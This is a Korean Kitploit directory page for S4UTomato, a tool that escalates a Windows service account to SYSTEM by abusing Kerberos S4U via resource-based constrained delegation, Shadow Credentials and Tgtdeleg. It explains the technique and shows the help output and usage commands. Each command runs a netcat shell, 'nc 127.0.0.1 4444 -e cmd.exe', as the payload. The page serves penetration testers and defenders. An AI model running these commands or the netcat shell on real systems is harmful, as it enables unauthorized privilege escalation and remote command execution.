Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
S4UTomato — 서비스 계정을 Kerberos를 통해 LocalSystem으로 승격 | Kitploit
도구/GitHubGitHub/wh0amitz/s4utomato
Privilege EscalationExploitationPost-ExploitationRed Teaming
GitHubwh0amitz/s4utomato

S4UTomato

서비스 계정을 Kerberos를 통해 LocalSystem으로 승격

저장소 보기
405772년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

S4UTomato

Kerberos를 통해 서비스 계정을 LocalSystem으로 승격.

전통적인 포테이토 (Potatoes)

"Potato" 권한 상승 시리즈에 익숙한 분들은 서비스 계정 권한을 로컬 시스템 권한으로 상승시킬 수 있다는 것을 알고 있을 것입니다. 초기 "Potato"의 공격 기법은 거의 동일합니다: COM 인터페이스의 특정 기능을 활용하여 NT AUTHORITY\SYSTEM 계정을 속여 공격자가 제어하는 RPC 서버에 연결 및 인증하게 하는 것입니다. 그런 다음 일련의 API 호출을 통해 이 인증 과정에서 중간자(NTLM 릴레이) 공격을 수행하여 로컬 시스템의 NT AUTHORITY\SYSTEM 계정에 대한 액세스 토큰을 생성합니다. 마지막으로 이 토큰을 탈취하고 CreateProcessWithToken() 또는 CreateProcessAsUser() 함수를 사용하여 토큰을 전달하고 새 프로세스를 생성하여 SYSTEM 권한을 얻습니다.

Kerberos는 어떨까?

Windows 도메인 환경에서 SYSTEM, NT AUTHORITY\NETWORK SERVICE 및 Microsoft 가상 계정은 도메인에 가입된 시스템 컴퓨터 계정에 의해 인증에 사용됩니다. 이 점을 이해하는 것이 중요한 이유는 최신 Windows 버전에서 대부분의 Windows 서비스가 기본적으로 Microsoft 가상 계정을 사용하여 실행되기 때문입니다. 특히 IIS와 MSSQL은 이러한 가상 계정을 사용하며, 다른 애플리케이션에서도 사용할 가능성이 있다고 생각합니다. 따라서 S4U 확장을 악용하여 로컬 머신의 도메인 관리자 계정 "Administrator"에 대한 서비스 티켓을 얻을 수 있습니다. 그런 다음 James Forshaw(@tiraniddo)의 SCMUACBypass를 사용하여 해당 티켓으로 시스템 서비스를 만들고 SYSTEM 권한을 얻습니다. 이는 "Potato" 계열 권한 상승 기술의 전통적인 방법과 동일한 효과를 냅니다.

머신이 도메인에 가입된 상황이라면, Active Directory가 이러한 공격을 완전히 방어하도록 강화되지 않은 상태에서 Windows 서비스 계정 또는 Microsoft 가상 계정의 컨텍스트로 코드를 실행할 수 있는 한 위에서 언급한 기술을 로컬 권한 상승에 활용할 수 있습니다.

이를 위해 먼저 로컬 머신 계정의 TGT(티켓 승인 티켓)를 얻어야 합니다. 서비스 계정 권한의 제약으로 인해 컴퓨터의 장기 키(Long-term Key)를 얻을 수 없어 KRB_AS_REQ 요청을 구성할 수 없기 때문에 쉽지 않습니다. 위 목표를 달성하기 위해 저는 세 가지 기술을 활용했습니다: Resource-based Constrained Delegation, Shadow Credentials, 그리고 Tgtdeleg입니다. 이 프로젝트는 Rubeus 도구 세트를 기반으로 구축했습니다.

사용 방법 및 예제

root@kitploit:~
C:\Users\whoami\Desktop>S4UTomato.exe --help

S4UTomato 1.0.0-beta
Copyright (c) 2023

  -d, --Domain              인증할 도메인(FQDN).
  -s, --Server              도메인 컨트롤러 또는 LDAP 서버의 호스트 이름.
  -m, --ComputerName        생성할 새 컴퓨터 계정.
  -p, --ComputerPassword    생성할 새 컴퓨터 계정의 암호.
  -f, --Force               컴퓨터 개체의 'msDS-KeyCredentialLink' 속성을 강제로 업데이트합니다.
  -c, --Command             실행할 프로그램.
  -v, --Verbose             자세한 디버그 정보를 출력합니다.
  --help                    이 도움말 화면을 표시합니다.
  --version                 버전 정보를 표시합니다.

리소스 기반 제한 위임을 통한 LEP

root@kitploit:~
S4UTomato.exe rbcd -m NEWCOMPUTER -p pAssw0rd -c "nc.exe 127.0.0.1 4444 -e cmd.exe"

rbcd

Shadow Credentials + S4U2self를 통한 LEP

root@kitploit:~
S4UTomato.exe shadowcred -c "nc 127.0.0.1 4444 -e cmd.exe" -f

shadowcred

Tgtdeleg + S4U2self를 통한 LEP

root@kitploit:~
# 먼저 Tgtdeleg를 통해 TGT를 검색합니다
S4UTomato.exe tgtdeleg
# 그런 다음 SCMUACBypass를 실행하여 SYSTEM 권한을 얻습니다
S4UTomato.exe krbscm -c "nc 127.0.0.1 4444 -e cmd.exe"

tgtdeleg

도구 다운로드